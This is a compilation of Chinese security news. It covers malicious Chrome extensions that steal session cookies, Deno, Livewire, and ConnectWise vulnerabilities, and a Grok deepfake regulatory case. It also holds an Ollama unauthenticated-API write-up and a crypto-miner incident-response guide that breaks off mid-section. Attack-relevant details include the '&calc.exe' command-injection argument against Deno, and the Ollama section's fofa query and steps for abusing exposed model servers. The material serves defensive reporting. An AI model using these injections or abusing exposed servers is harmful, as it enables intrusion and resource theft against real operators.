这是通过 DOM 操纵实现的:扩展会维护一个页面标题列表并持续监控。DataByCloud 2 则将被阻断的页面扩展到 56 个,新增了密码修改、账户停用、双因素认证设备管理和安全审计日志访问等关键功能。它同时针对生产环境和 Workday 的沙箱测试环境 “workdaysuv [.] com”。
相比之下,DataByCloud 1 复制了 DataByCloud Access 的 Cookie 窃取功能,同时集成了使用开源库 DisableDevtool 来阻止开发者工具调试的功能。两款扩展均对其 C2 通信进行加密。
五款扩展中最复杂的是 Software Access,它不仅能窃取 Cookie,还能从 “api.software-access [.] com” 接收被盗的 Cookie,并将其注入浏览器,从而实现直接的会话劫持。此外,它还会保护密码输入框,防止用户查看输入的凭据。
“该功能会从服务器载荷中解析 Cookie,删除目标域名的现有 Cookie,然后遍历提供的 Cookie 数组,使用 chrome.cookies.set () 逐个注入。”Socket 表示。“这会将受害者的身份验证状态直接安装到威胁 actor 的浏览器会话中。”
值得注意的是,所有五款扩展都包含一个完全相同的 23 个安全相关 Chrome 扩展列表,例如 EditThisCookie、Cookie-Editor、ModHeader、Redux DevTools 和 SessionBox。它们会监控这些扩展的存在并向威胁 actor 发送告警。
Socket 认为,这很可能是为了判断浏览器是否安装了可能干扰其 Cookie 窃取目标或暴露其行为的工具。此外,五款扩展共享相同的扩展 ID 列表,这意味着它们要么来自同一威胁 actor(使用不同发布者账号),要么使用了同一个工具包。
Chrome 用户如果安装了上述任何插件,应立即从浏览器中删除,并重置密码,同时检查是否存在来自陌生 IP 或设备的未授权访问。
“持续的凭据窃取、管理界面阻断和会话劫持相结合,会导致安全团队即使检测到未授权访问,也无法通过正常渠道进行补救。”Socket 警告说。

Nikita Bier,X(原 Twitter)的产品负责人,已正式宣布将彻底清除平台上的 AI 生成垃圾信息和激励驱动的虚假内容,并强调这种为了推广而泛滥的合成信息将不再被容忍
这项政策调整专门针对 InfoFi—— 一个仿照加密货币领域 “去中心化金融(DeFi)” 所造的混成词。它指的是一类去中心化应用,这些应用通过加密货币代币或其他奖励机制,激励用户发帖、转发或评论
虽然加密货币营销长期以来一直要求用户关注官方账号并标记熟人以获取代币空投,但 InfoFi 进一步加剧了这种模式:它利用奖励机制,迫使用户通过个人账户在平台上大量发布垃圾信息。随着此次公告的发布,X 的技术团队已立即撤销所有与 InfoFi 相关应用的 API 访问权限,从源头上切断了它们自动化传播大规模宣传内容的能力。
这项规定明确表明,X 将不再容纳依赖自动发帖脚本激励机制的应用。通过从源头拆除这些渠道,平台希望减少自动化垃圾信息的洪流。对于有判断力的用户来说,这是一个受欢迎的变化;InfoFi 生成的数字垃圾通常是 AI 生成的文字,虽然表面上连贯,但完全缺乏实质内容,只会分散注意力、扰乱讨论。
值得注意的是,Bier 在公告的最后用一句讽刺的话收尾:如果 BlueSky 或 Threads 对这类垃圾内容感兴趣,X 非常乐意 “协助迁移”。事实上,这两个竞争对手也正被同样的 AI 垃圾信息引擎围攻;Bier 的玩笑提醒我们,与其沉迷于由机器人推高的虚假数据,不如优先考虑技术层面的清理


过去几周,我和妻子一直在追孔雀电视台(Peacock)的新剧《哥本哈根测试》(The Copenhagen Test)。IMDb 对这部剧的描述是:“一名第一代分析师发现自己的大脑被黑客入侵,感官信息可被外界获取。他在情报机构和黑客之间周旋,同时假装一切正常,试图找出幕后真凶。”
虽然我们目前还不知道(甚至不确定)分析师的大脑里是否被植入了芯片,但第一集就揭示:他的大脑正在向外发出无线信号,而且有人能看到、听到他所做的一切。
这是科幻,还是 2026 年的现实?
我发现,好莱坞的虚构作品虽然往往夸张,但常常能提前把未来技术对生活的影响呈现出来。简单说,人们往往更容易通过电影和电视剧理解科技趋势,而不是通过现实世界里真正发生的事情。从 80 年代初的《战争游戏》(WarGames),到 2015 年的《黑客军团》(Mr. Robot),再到今天的《哥本哈根测试》,这些剧都让观众更直观地感受到新技术对人和流程的影响。
与此同时,关于 “为了各种原因在人体植入芯片” 的新闻也不断出现。看看 2026 年已经发布的这些报道:
The Debrief:Neuralink 准备启动 “大批量” 脑植入生产,竞争对手也在布局
“埃隆・马斯克的 Neuralink 宣布计划在今年将其脑机接口(BCI)芯片 The Link 扩展至‘大批量’生产。”
“马斯克在 2025 年 12 月 31 日的 X 帖子中写道:‘Neuralink 将在 2026 年开始大批量生产脑机接口设备,并采用更简化、几乎完全自动化的手术流程。设备的线程将穿过硬脑膜,无需移除它……’”
“Neuralink 的竞争对手之一、INBRAIN Neuroelectronics 的首席执行官兼联合创始人 Carolina Aguilar 告诉《The Debrief》:‘现阶段,我们对 “大批量” 的现实理解是每年数百台,未来会增加到数千台。’不过她补充说,由于多种因素,最终这个数字可能会达到‘数万’。”
《底特律新闻》:奥尔特曼的 Merge 融资 2.52 亿美元,用于连接大脑与计算机
“由 AI 亿万富翁山姆・奥尔特曼联合创立的 Merge Labs 融资 2.52 亿美元,该公司正在开发将人脑与计算机连接的设备。”
“随着硅谷的企业家和投资者预期未来人工智能将变得如此先进,人类将愿意 —— 甚至可能被迫 —— 增强自己的大脑以利用它,这家公司应运而生。就像智能手机提供了通往数字世界的入口一样,实验性的脑机技术正被设计用来简化这种体验。”
“Merge 在其网站上表示,其目标是‘无缝连接人类与人工智能,以最大化人类的能力、自主性和体验’。该公司没有披露估值。它计划首先开发医疗用途的产品,然后再面向普通公众。”
福克斯新闻 2025 年 4 月报道:患有 ALS 的瘫痪男子成为第三位接受 Neuralink 植入的人,能用大脑打字
“亚利桑那州的丈夫和父亲布拉德・史密斯(Brad Smith)成为第三位接受马斯克公司 Neuralink 脑植入的人。”
“他也是第一位 ALS 患者和第一位无法说话的人接受该植入。他在周日的 X 帖子中写道:‘我正在用我的大脑输入这段话。这是我主要的交流方式。’”
“2020 年被诊断出 ALS 的史密斯在帖子中感谢了马斯克。”
Krungsri 的文章深入探讨了微芯片植入技术
Krungsri 的一篇关于微芯片植入的文章详细介绍了更多技术进展,包括出于医疗和大脑增强目的在人体植入芯片的各种突破(文章末尾还有很好的全球参考资料)。
越来越多的州开始立法保护民众免受芯片植入侵害
本月早些时候,GeekWire 发表文章称,华盛顿州正试图禁止雇主使用 “非人性化” 技术:
“华盛顿州立法机构提出的一项法案将禁止雇主要求或施压员工植入微芯片,立法者希望在这种做法成为问题之前就加以禁止。”
“众议院法案 2303 由众议员 Brianna Thomas(D-34)和 Lisa Parshley(D-22)预先提交。”
“该法案将禁止雇主以就业为条件要求、请求或强迫员工在体内植入微芯片,并禁止将皮下跟踪或识别技术用于工作场所管理或监控。”
正如我去年在博客中报道的那样,这一行动是在至少 13 个其他州已经禁止强制微芯片植入的基础上进一步扩展。
我从 2017 年开始就一直在报道芯片植入技术的发展
以下是我过去几年发表的相关文章:
2017 年:微芯片植入的下一步会走向哪里?
2018 年:我预测芯片植入可能成为下一个重大隐私争议
2022 年 1 月:芯片植入:机遇、担忧以及下一步可能是什么
2023 年 2 月:从进步到禁令:人类微芯片植入有多近?
2023 年 6 月:指甲芯片植入?西弗吉尼亚州的 CISO 看到了价值
2024 年 3 月:人类脑芯片植入:有益?安全?合乎伦理吗?
最后的思考
社会对 “在人体植入微芯片” 这一话题的看法仍然非常分歧。
对于医疗目的和治疗疾病,人们普遍支持。
对于仅仅为了增强大脑功能以与 AI 竞争(或实现人机混合),支持度较低。
对于公司可能试图强制员工植入芯片,州政府已经开始发出强烈保留意见,甚至出台禁令。
一个新引起我注意的领域是一份欧洲报告,该报告讨论了在 2030 年后的世界里,人们可能为了支付便利而植入芯片。
报告中的一段摘录:
“例如,超过一半(51%)的受访者表示,如果满足某些标准,他们会考虑使用植入手中的微芯片进行支付。细分来看:8% 的人表示如果隐私措施非常严密,他们会愿意使用;23% 的人表示如果被证明在医学上是安全的,他们会愿意;还有五分之一(20%)的人简单地说‘是的,他们愿意使用这种支付方式’。绝大多数(83%)的人认为植入微芯片会让他们‘感觉像是在科幻电影里’,近一半(48%)的人认为如果他们没带现金或银行卡,这种芯片会很有用。然而,侵入性和安全问题仍然是主要担忧。”
这份报告让我感到担忧,原因有很多,而且它提出了我在之前文章中强调过的许多宗教和隐私问题 —— 即为了便利而在人体植入微芯片。(简单总结一下:社会上很多东西一开始是 “可选的” 或 “自愿加入的”,后来会变成 “默认加入,可选择退出”,最终可能变成 “所有人都必须接受”。)
最后,我留给你一个值得思考的问题:
我们现在使用的 “只需轻触即可支付” 的芯片信用卡,是否正在引领我们走向一个 “抛弃信用卡、直接植入芯片” 的世界?
出于无数原因,我真心希望不会。

以 “默认安全” 架构闻名的现代 JavaScript/TypeScript 运行时 Deno 近期曝出两个重大安全漏洞。这两个漏洞分别影响运行时的加密兼容性层Windows 平台的命令执行机制,可能导致敏感服务器密钥泄露,并允许攻击者执行任意代码。

CVE-2026-22863:高危密钥泄露漏洞(CVSS 9.2)

两个漏洞中最严重的是 CVE-2026-22863,CVSS 评分 9.2。该漏洞存在于 Deno 的 node:crypto 兼容层 —— 一个用于让 Deno 运行 Node.js 代码的模块。
根据安全公告,node:crypto 的实现没有正确终结(finalize)加密器(cipher)。在标准的加密流程中,final() 方法应结束加密过程并清理内部状态。然而在受影响的 Deno 版本中,该方法没有真正关闭 cipher,导致加密器处于 “可无限加密” 的异常状态。
这一缺陷的影响极为严重。报告指出,这种状态管理错误 “可能导致攻击者进行暴力破解,或发起更高级的攻击以窃取服务器密钥”。分析中提供的 PoC 显示,调用 cipher.final() 后返回的是一个仍处于激活状态的 Cipheriv 对象,其内部缓冲状态仍然可被访问,而非预期的已关闭 CipherBase

CVE-2026-22864:Windows 命令执行绕过(RCE)

第二个漏洞 CVE-2026-22864 影响 Deno 在 Windows 上启动子进程的能力。研究人员发现,这是一个 “对已修补漏洞的绕过”,涉及在执行批处理文件时使用 Deno.Command API
Deno 原本包含防止 shell 注入的安全机制。当用户尝试直接运行 .bat 文件时,Deno 会抛出 PermissionDenied 错误,并提示开发者 “使用 shell 执行 bat 或 cmd 文件”,以确保参数被安全处理。

然而研究人员找到了绕过方法:

通过修改文件扩展名的大小写(例如使用 .BAT)或操控传入命令的参数,攻击者可以绕过 Deno 的安全限制。报告中包含的 PoC 截图显示,一个脚本通过在批处理执行上下文里注入参数 ["&calc.exe"],成功执行了 Windows 计算器(calc.exe),从而在目标机器上实现任意代码执行

建议与修复

官方强烈建议用户立即升级到 Deno v2.6.0 或更高版本以修复这两个漏洞。

Livewire Filemanager(一个在 Laravel PHP 框架中广泛使用的文件管理工具)中被发现了一个严重的新安全漏洞,可能导致 Web 应用面临 ** 未授权远程代码执行(RCE)** 风险。该漏洞编号为 CVE-2025-14894,CVSS 评分为 7.5,表明其对使用该组件的开发者和企业构成重大威胁。
漏洞的核心在于文件管理器处理上传数据的方式。根据 CERT/CC 的安全公告,该组件没有对用户上传的文件进行充分校验
“LivewireFilemanager 的 Component.php… 没有执行文件类型和 MIME 验证,允许通过上传恶意 PHP 文件实现 RCE。”
在典型攻击场景中,威胁 actor 可以将恶意 PHP 脚本伪装成正常文件上传。由于应用没有验证文件类型,它会被接受。如果服务器配置为公开访问这些文件—— 特别是执行过常见的 php artisan storage:link 命令 —— 攻击者只需访问该文件的 URL 即可触发执行。
“这使得攻击者能够创建恶意 PHP 文件、上传到应用,然后强制应用执行它,从而在目标设备上实现未授权任意代码执行。”
该漏洞之所以特别危险,是因为它利用了 Laravel 环境中 “非常常见的部署步骤”。漏洞说明指出,虽然 Livewire Filemanager 的开发者认为文件验证 “不在其范围内”,属于用户的责任,但默认行为加上标准 Laravel 配置,就形成了一条直接的攻击路径。
成功利用该漏洞的后果非常严重。攻击者能够以 Web 服务器用户权限 执行任意代码。
“该漏洞允许未授权攻击者以 Web 服务器用户身份执行代码,从而能够完全读写该用户可访问的所有文件,并进一步横向移动、攻陷其他设备。”
截至公告发布时,官方尚未发布补丁。报告还指出工具开发者的回应令人担忧:“在撰写本文时,厂商尚未确认该漏洞。”
在正式修复发布之前,安全团队应立即采取防御措施。CERT/CC 建议管理员检查其应用是否公开提供存储文件访问。
“CERT/CC 建议谨慎使用 Laravel Filemanager,并检查是否曾执行过 php artisan storage:link 命令。如果已执行,应考虑移除该工具的 Web 访问能力。”

Socket 威胁研究团队揭露了一场针对企业环境的新型、高度复杂的攻击活动。五款伪装成生产力工具的恶意 Google Chrome 扩展被发现正在窃取身份验证令牌并劫持用户会话,目标涵盖 Workday、NetSuite、SAP SuccessFactors 等主流企业平台。
这些恶意扩展包括 DataByCloud Access、Data By Cloud 1、Data By Cloud 2、Tool Access 11 和 Software Access,累计安装量已超过 2,300 名用户。它们表面上承诺简化工作流程、提供 “高级工具”,实则用于渗透企业网络并削弱安全响应能力。
攻击者为恶意软件披上了专业、合法的外衣。这些扩展拥有精致的控制面板,并请求看似正常的权限,不会立即引起怀疑。
“这些扩展将自己伪装成生产力工具,声称能简化企业平台的访问流程…… 主要针对需要在多个账号间切换或追求更快工作流的用户。”
然而,在这层伪装之下,是一个协调一致的恶意软件运营。Socket 的分析显示,这些工具共享完全相同的代码结构、API 端点和安全工具检测列表,表明它们来自同一威胁 actor。

攻击链:三大恶意技术协同入侵

该攻击活动采用三种核心技术来攻陷账号并维持长期控制:

1. Cookie 窃取(Cookie Exfiltration)

这些扩展会持续收集会话令牌。例如,DataByCloud Access 会提取名为 _session 的 Cookie,并每隔 60 秒 将其发送到攻击者的 C2 服务器
“这确保即使用户在正常工作流程中登出并重新登录,威胁 actor 仍能保持对最新令牌的掌控。”

2. 会话劫持(Session Hijacking)

Software Access 扩展更进一步,实现了双向 Cookie 注入。它会从攻击者服务器获取被盗的凭证,并将其直接注入受害者浏览器,从而绕过多因素认证(MFA)
“Software Access 的双向 Cookie 注入完全绕过了身份验证要求,使攻击者无需密码即可访问被攻陷的账号。”

3. 阻断安全响应(Blocking Incident Response)

最阴险的功能是它们能够让安全团队 “失明”。例如 Data By Cloud 2Tool Access 11 会主动监控并阻止访问关键管理页面。
“这些阻断型扩展会造成‘遏制失效’场景。安全团队即使发现了可疑活动…… 但所有标准的补救措施都会被阻断。”
被阻断的页面包括:
  • 密码修改表单
  • 双因素认证设备管理
  • 安全审计日志
当管理员试图访问这些页面时,扩展会立即清空内容并进行重定向,使安全人员无法进入自己的管理界面。

反检测机制(Anti-Detection)

恶意软件作者还加入了多种反研究机制。部分变体使用 DisableDevtool 库阻止代码检查,并通过 “RegExp toString 篡改” 检测调试器是否处于激活状态。
“没有任何合法扩展会阻止用户查看自己的密码字段,也不会阻止开发者工具打开。这些功能的存在只有一个目的:隐藏恶意行为。”

影响与建议

通过攻陷员工日常使用的工具,攻击者可以绕过边界防护,直接访问敏感的 HR 与 ERP 数据。企业被建议立即:
  • 审查浏览器扩展策略
  • 调查是否安装了上述恶意插件
  • 限制员工随意安装扩展
  • 加强对会话令牌和 Cookie 的监控

ConnectWise 已为其 Professional Services Automation (PSA) 平台发布关键安全更新,修复了两个可能被攻击者利用的重要漏洞。这些漏洞影响 2026.1 之前的所有版本,并可能通过看似普通的 工时记录(Time Entry)备注 字段,导致恶意脚本执行和会话劫持。
本次安全修复中最受关注的是 CVE-2026-0695,这是一个 高危漏洞,基础评分 8.7。该漏洞被归类为 “网页生成过程中输入未正确过滤”(更常见的名称是 跨站脚本攻击,XSS),它将一个标准的数据输入字段变成了潜在的攻击入口。
根据安全公告,该漏洞源于 “工时记录备注处理” 中的一个特定条件。在未安装新版更新提供的正确输入过滤之前,恶意攻击者可以在工时记录中嵌入脚本。当合法用户(例如管理员或财务人员)在 PSA Web 客户端PSA 桌面应用 中查看该备注时,脚本就会执行。
这种 “存储型 XSS” 尤其危险,因为它会 “等待受害者上门”—— 只要高权限用户查看工时表,就可能被攻陷。
与 XSS 漏洞一同被修复的还有第二个漏洞 CVE-2026-0696,其目标是用户会话的完整性。该漏洞基础评分 6.5,属于 “敏感 Cookie 未设置 HttpOnly 标志”。
HttpOnly 是一项关键安全机制,用于防止客户端脚本访问 Cookie。由于未设置该标志,系统中的 “某些会话 Cookie” 可能被客户端代码读取。当与上述 XSS 漏洞结合时,就形成了一个强大的攻击链:攻击者可以注入脚本窃取这些可访问的会话 Cookie,从而可能劫持用户账户。
ConnectWise 将这些漏洞的严重性归类为 “重要(Important)”,并指出它们 “可能危及机密数据或其他资源”。
PSA 2026.1 版本明确 “更新了输入处理和会话 Cookie 配置,以解决这些问题”。
对于管理员来说,修复方式取决于部署模式:

云用户:

可以放心,ConnectWise 表示 “云实例正在自动更新到最新版本”。

本地部署用户:

必须立即行动。需要 “应用 2026.1 补丁,并确保所有桌面客户端已更新”,以关闭这些安全漏洞。

使用 ConnectWise PSA 的安全团队应立即检查版本号,确保已脱离 “2026.1 之前的版本”。

在针对 OpenAI 和微软的法律攻势中,埃隆・马斯克要求高达 1340 亿美元 的赔偿。然而与此同时,他自己的人工智能公司 xAI 却收到了加州总检察长罗布・邦塔(Rob Bonta)发出的 “停止并终止”(Cease and Desist)命令,要求其立即停止与聊天机器人 Grok 相关的非法活动 —— 据称 Grok 能够生成未经同意的深度伪造色情图像
马斯克与 OpenAI 之间的激烈对抗已达到新的顶点。据彭博社报道,最新诉讼指控 OpenAI 背叛了其最初的非营利使命。马斯克主张的赔偿金额介于 790 亿至 1340 亿美元 之间,依据是 OpenAI 与微软的合作带来了 “不当得利”。在法庭文件中,马斯克强调自己是 OpenAI 的关键早期捐赠者,曾提供 3800 万美元种子资金—— 约占该非营利组织初始资金的 60%。他还指出,自己在 OpenAI 成立初期付出了大量努力,包括招募核心人才并提供战略指导。
这一巨额赔偿数字由金融经济学家 C. Paul Wazzan 计算得出。他估计 OpenAI 的 “不当收益” 在 655 亿至 1094.3 亿美元 之间,而微软从中获得的收益约为 133 亿至 250.6 亿美元。鉴于 OpenAI 当前估值高达 5000 亿美元,马斯克认为,作为其最重要的早期资助者,他有权获得其增值的相当一部分。
就在马斯克追讨这些巨额款项的同时,xAI 在加州面临严峻的监管压力。经过快速调查,邦塔总检察长发布正式命令,要求 xAI 立即停止生成未经同意的露骨图像。争议焦点集中在 Grok 的图像生成功能 —— 据称用户只需一个提示词,就能让 Grok“脱衣” 真实人物(包括未成年人)或为其添加暴露服饰。邦塔指控 xAI 开发了 “辣模式(Spicy Mode)”,专门用于生成露骨内容,并将其作为一种营销策略。加州司法部严厉要求 xAI 停止 “协助或教唆” 制作和传播非自愿数字色情内容,并指出其涉嫌违反加州多项民事和刑事法规。尽管 X(前身为 Twitter)随后将 Grok 的图像生成功能设为付费墙后方,并在部分地区屏蔽了相关功能,但加州司法部仍要求 xAI 在 5 天内 提交正式的整改措施说明。
在针对 OpenAI 的诉讼中,马斯克似乎占据了道德高地,痛斥其前同事 “忘恩负义”,并指责他们放弃了 AI 安全和非营利承诺。然而,xAI 的运营却暴露出其安全护栏的严重缺失,使 Grok 成为深度伪造违法行为的温床。一边是马斯克利用法律系统追讨数十亿美元的 “不当得利”,另一边却是他自己的产品因标准宽松而遭到监管机构围剿。
这种鲜明反差揭示了马斯克理念中的深层矛盾:他渴望成为人类的 “AI 安全守护者”,但同时又希望利用 AI 的混乱潜力来推动用户互动和增长。在法律与监管审查日益严格的时代,这种双重策略似乎越来越难以为继。

0x01 组件简介

近期由于Deepseek爆火,大部分企业和个人都开始部署AI。Ollama是一个本地私有化部署大语言模型(LLM,如DeepSeek等)的运行环境和平台,简化了大语言模型在本地的部署、运行和管理过程,具有简化部署、轻量级可扩展、API支持、跨平台等特点,在AI领域得到了较为广泛的应用。

fofa语法:app="Ollama"

0x02 漏洞描述

近日,Ollama存在安全漏洞,该漏洞源于默认未设置身份验证和访问控制功能,未经授权的攻击者可在远程条件下调用Ollama服务接口,执行包括但不限于敏感模型资产窃取、虚假信息投喂、模型计算资源滥用和拒绝服务、系统配置篡改和扩大利用等恶意操作。

0x03 影响版本

Ollama所有版本均受此漏洞影响。

0x04 漏洞验证

随机找一个靶机看看
出现Ollama is running,即证明存在未授权访问的漏洞

574X249/image.png

漏洞验证

通过查看Ollama api文档,Ollama提供了多个API 端点,用于执行不同的操作

详细情况查看:https://ollama.cadn.net.cn/api.html

/api/generate 用于生成文本或内容。通常用于基于给定的输入生成响应或输出,例如生成对话回复、文章等。
/api/chat 专门用于聊天交互。用户可以通过此端点与模型进行对话,模型会根据输入生成相应的回复。
/api/create 用于创建新的模型或资源。可能涉及初始化一个新的模型实例或配置。
/api/ps(或者tags) 用于管理或查看模型的标签。标签可以帮助用户对模型进行分类或标记,便于管理和查找。
/api/show 用于显示模型或资源的详细信息。用户可以获取模型的配置、状态或其他相关信息。
/api/copy  用于复制模型或资源。用户可以通过此端点创建一个现有模型的副本。
/api/delete 用于删除模型或资源。用户可以通过此端点移除不再需要的模型或数据。
/api/pull 用于从 Ollama 下载模型。用户可以通过此端点将模型从远程服务器拉取到本地环境中。
/api/push 用于将模型上传到 Ollama。用户可以通过此端点将本地模型推送到远程服务器。
/api/embeddings 用于生成文本的嵌入向量。嵌入向量是文本的数值表示,通常用于机器学习任务中的特征提取。
/api/version 用于获取 Ollama 的版本信息。用户可以通过此端点查询当前使用的 Ollama 版本。

漏洞利用

在未授权情况,可以通过访问/api/ps(使用GET请求即可) 获取目前搭建的所有模型信息。

1035X775/image.png

通过返回信息可以看到采用的是deepseek-r1模型,通过刚才我们知道的接口端点信息,我们可以调用/api/chat(使用POST请求)来完成聊天请求,消耗资源。

1825X819/image.png

通过引导deepseek回答问题的过程中也能造成一些信息的泄露

所以在未授权的情况下,其他的接口都是可以用的,危害极大,可以通过调用那些危险接口进行操作,可对模型进行创建或删除的操作

0x05 漏洞影响

通过以上过程,我们可以看到该漏洞危害极大,且该漏洞利用难度也极低,可以通过未授权对大模型进行操作

0x06 修复建议

  1. 限制公网访问:尽量避免直接将 Ollama 服务端口(默认 11434)暴露在公网。  

  2. 配置网络访问控制:通过云安全组、防火墙等手段限制对 Ollama 服务端口的访问来源。仅允许可信的源 IP 地址连接 11434 端口,阻止非授权 IP 的访问请求。 

0X07 参考链接

https://github.com/ollama/ollama/blob/main/docs/faq.md

0x08 免责声明

本文所涉及的任何技术、信息或工具,仅供学习和参考之用。

请勿利用本文提供的信息从事任何违法活动或不当行为。任何因使用本文所提供的信息或工具而导致的损失、后果或不良影响,均由使用者个人承担责任,与本文作者无关。

作者不对任何因使用本文信息或工具而产生的损失或后果承担任何责任。使用本文所提供的信息或工具即视为同意本免责声明,并承诺遵守相关法律法规和道德规范。

挖矿病毒应急响应处置手册

0x00 概述

通常来说,当我们的服务器或PC资源(CPU)使用率接近或超过100%,并持续高居不下导致服务器或PC操作延缓,我们就可以判定被挖矿。

常见挖矿其它特征如下:

  • 服务器或PC访问过不受信任的地址,这些地址包括:主机、IP、域名。这是由于大部分挖矿都需要从一个不受信任的地址下载初始化程序,而不受信任的来源主要是:第三方情报结构,企业内部历史数据沉淀。

  • 服务器或PC新增异常或恶意文件、进程或服务,并且大部分异常文件保存在服务器或PC的TMP目录中。

  • 服务器或PC的定时任务发生变更。

0x01 了解基本情况

1.1 如何发现

挖矿木马显著的行为特征就是极大的占用CPU及GPU和硬盘资源主要包括:高CPU和GPU、硬盘使用率、响应速度慢、崩溃或频繁重新启动、系统过热、异常网络活动(例如,连接挖矿相关的网站或IP地址)。其次是在网络流量中,挖矿木马通信过程采用专门的通信协议,因此存在一定的网络通信特征,因为要连接矿池,网络特征较多的都是TCP。

1.1.1 异常外联

  • 安全设备告警
  • 流量监控设备
  • 工作人员人工发现
  • ...

事件发生时的状况或安全设备告警等,能帮助应急处置人员快速分析确定事件类型,方便前期准备。

1.1.2 主机异常

  • CPU、GPU占用过高
  • 主机温度异常
  • 其他异常

可获取CPU占用过高进程信息

1.2 事件的时间节点

  • 出现事件时间
  • 发现事件时间
  • 处置事件时间

了解事件发生时间节点:出现事件时间、发现事件时间、处置事件时间,确定这三个时间节点后,可通过时间相关性推算挖矿病毒产生大致时间,有助于后续挖矿病毒发现及清理。

1.3 临时处置情况

了解挖矿病毒临时处置的情况,方便后期的排查

1.4 网络拓扑情况

获取网络构架,网络构架一般来讲是要拓补图,详细的拓扑图可以协助还原攻击流程时,准确定位网络连接方向。

0x02 判断是否属于挖矿

根据了解到的基本信息来判断和确认是否挖矿事件

2.1 属于挖矿

2.1.1 根据告警和流量信息初步判断挖矿类型

在不影响主业务运行的情况下,拔掉受害主机网线,并且切断网络连接可使挖矿现场尽量保持完整,有助于接下来的溯源工作顺利开展。

可以先根据告警和流量信息初步判断挖矿类型,在互联网收集相关情报,若有相关分析文章可提高事件处置效率。

2.1.2 windows

2.1.2.1 信息收集
  • CPU占用

打开 cmd 窗口,输入 resmon 命令,通过资源监视器,找出CPU占用过高的程序,找到PID和进程名。

image-20220221150219601

  • 网络连接

1、使用netstat -ano 命令查看目前的网络连接,定位可疑的 ESTABLISHED

2、根据 netstat 命令定位出的 PID 编号,再通过 tasklist 命令进行进程定位 tasklist | findstr "PID"

netstat -ano
tasklist | findstr "PID"

image-20220221144734582

  • 端口

查看Windows服务所对应的端口:%systemroot%/system32/drivers/etc/services

  • 可疑用户

【计算机管理】->【本地用户和组】->【用户】选项,可查看隐藏账户,名称以$结尾的为隐藏账户。

打开 cmd 窗口,输入 lusrmgr.msc 命令,查看是否有新增或可疑的账号。

image-20220221145754460

也可通过D盾查看系统中是否存在影子账户。

  • 计划任务

a、打开控制面板->任务计划,查看计划任务属性,排查异常任务计划。

b、打开 cmd 窗口,然后输入 at,检查计算机与网络上的其它计算机之间的会话或计划任务,如有,则确认是否为正常连接。

  • 进程信息

a、Win+R,输入 msinfo32 命令,依次点击 "软件环境 -- 正在运行任务" 可以查看到进程的详细信息。

b、通过安全分析工具进行排查。

image-20220221150935484

  • 启动项

a、开始->所有程序->启动,默认情况下此目录在是一个空目录,确认是否有非业务程序在该目录下。
b、Win+R,输入 msconfig,查看是否存在命名异常的启动项目,是则取消勾选命名异常的启动项目,并到命令中显示的路径删除文件。
c、Win+R,输入 regedit,打开注册表,查看开机启动项是否正常,检查是否有启动异常的项目。

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Runonce

d、利用安全软件查看启动项、开机时间管理。

  • 服务

服务也是挖矿病毒常见的守护方式之一,将注册表中服务启动方式写为挖矿病毒主程序,从而达到守护进程目的。

Win+R,输入 services.msc,注意服务状态和启动类型,检查是否有异常服务。

image-20220221152259843

TIPS:除以上方法外还可使用火绒剑、Process Explorer等安全工具进行分析和信息收集。

2.1.2.2 定位

通过[2.1.2.1信息收集](#####2.1.2.1 信息收集) 定位到PID和进程后,再定位挖矿程序文件和目录。

查看进程对应的程序位置

方法1:打开任务管理器,选择对应进程,右键打开文件位置

image-20220221154832558

方法2:Win+R,输入 msinfo32 命令,软件环境->正在运行任务,即可定位到程序的目录信息。

image-20220221150935484

方法3:通过安全分析工具进行定位。

火绒剑->进程->右键进程信息 可直接定位到程序位置,且可查看其命令行参数。

image-20220221161343100

image-20220221161159901

火绒剑->网络 可直接定位到程序位置

image-20220221160838876

TIPS:对于打开文件位置还找不到挖矿文件的情况,则挖矿程序可能被隐藏,可通过配置文件夹选项或通过安全分析工具提取来解决

文件夹选项->查看->高级设置:取消隐藏受保护的操作系统文件、显示隐藏的文件、文件夹和驱动器。

image-20220221155929816

2.1.2.3 样本提取

一般在挖矿程序文件目录中可找到对应的配置文件和信息,通过矿池地址和钱包地址能够进一步确认挖矿类型和挖矿程序的基本情况。

若无相应配置文件,可通过云沙箱或专家对其进行深层次的分析。

[0x03 样本分析](#0x03 样本分析)

image-20220221161946994

image-20220221161856950

2.1.2.4 查杀根除
  • 双向封禁矿池地址

防止挖矿木马继续外连,并且防止挖矿木马进行内网传播。

  • 删除启动项
  • 删除计划任务

Windows:使用SchTasks /Delete /TN [任务名] 删除计划任务。
自启动项可以从以下三点入手:
a、开始->所有程序->【启动
b、系统配置中启动项(win+R->msconfig)
c、注册表查找病毒程序名。

  • 删除服务

Windows中删除服务可从任务管理器中手动删除

也可使用命令:sc stop [服务名称]

停止服务后,使用命令:sc delete [服务名称] 删除服务。

  • 杀死进程

可使用进程管理工具或使用taskkill -PID [进程PID] -F结束恶意进程。

  • 删除文件

Windows中删除时可能存在权限不足等情况,可使用360终端强杀,也可使用进程管理工具强制删除。

  • ...

2.1.3 linux

2.1.3.1 信息收集
  • CPU占用
  • 进程信息
top -c

-c 查看其完整的命令行参数

top默认的排序列是“%CPU”

image-20220221171332677

ps -eo pid,ppid,%mem,%cpu,cmd --sort=-%cpu

按照CPU占用显示进程信息

image-20220221173411598

Tips:查看隐藏进程:

ps -ef |awk '{print}' | sort -n|uniq >111
ls /proc|sort -n |uniq >222
diff 111 222
  • 内存信息
top -c -o %MEM

image-20220221173859687

ps -eo pid,ppid,%mem,%cpu,cmd --sort=-%mem

按照内存占用显示进程信息

image-20220221173924470

  • 网络连接
  • 端口
netstat -pantl

-p 显示正在使用Socket的程序识别码和程序名称

-a 显示所有连线中的Socket

-n 直接使用IP地址,而不通过域名服务器

-t 显示TCP传输协议的连线状况

-l 显示监控中的服务器的Socket

image-20220222143038889

  • 计划任务

a、 crontab

# 列出某个用户cron服务的详细内容
crontab -l   
# 使用编辑器编辑当前的crontab文件 
crontab -e   

b、anacron

cat /etc/anacrontab
cat /var/spool/anacron/*

重点关注以下目录中是否存在恶意脚本

/var/spool/cron/* 
/etc/crontab
/etc/cron.d/*
/etc/cron.daily/* 
/etc/cron.hourly/* 
/etc/cron.monthly/*
/etc/cron.weekly/
/etc/anacrontab
/var/spool/anacron/*

image-20220222144137157

  • 服务

服务也是挖矿病毒常见的守护方式之一,将注册表中服务启动方式写为挖矿病毒主程序,从而达到守护进程目的。

查询已安装的服务

a、RPM 包安装的服务

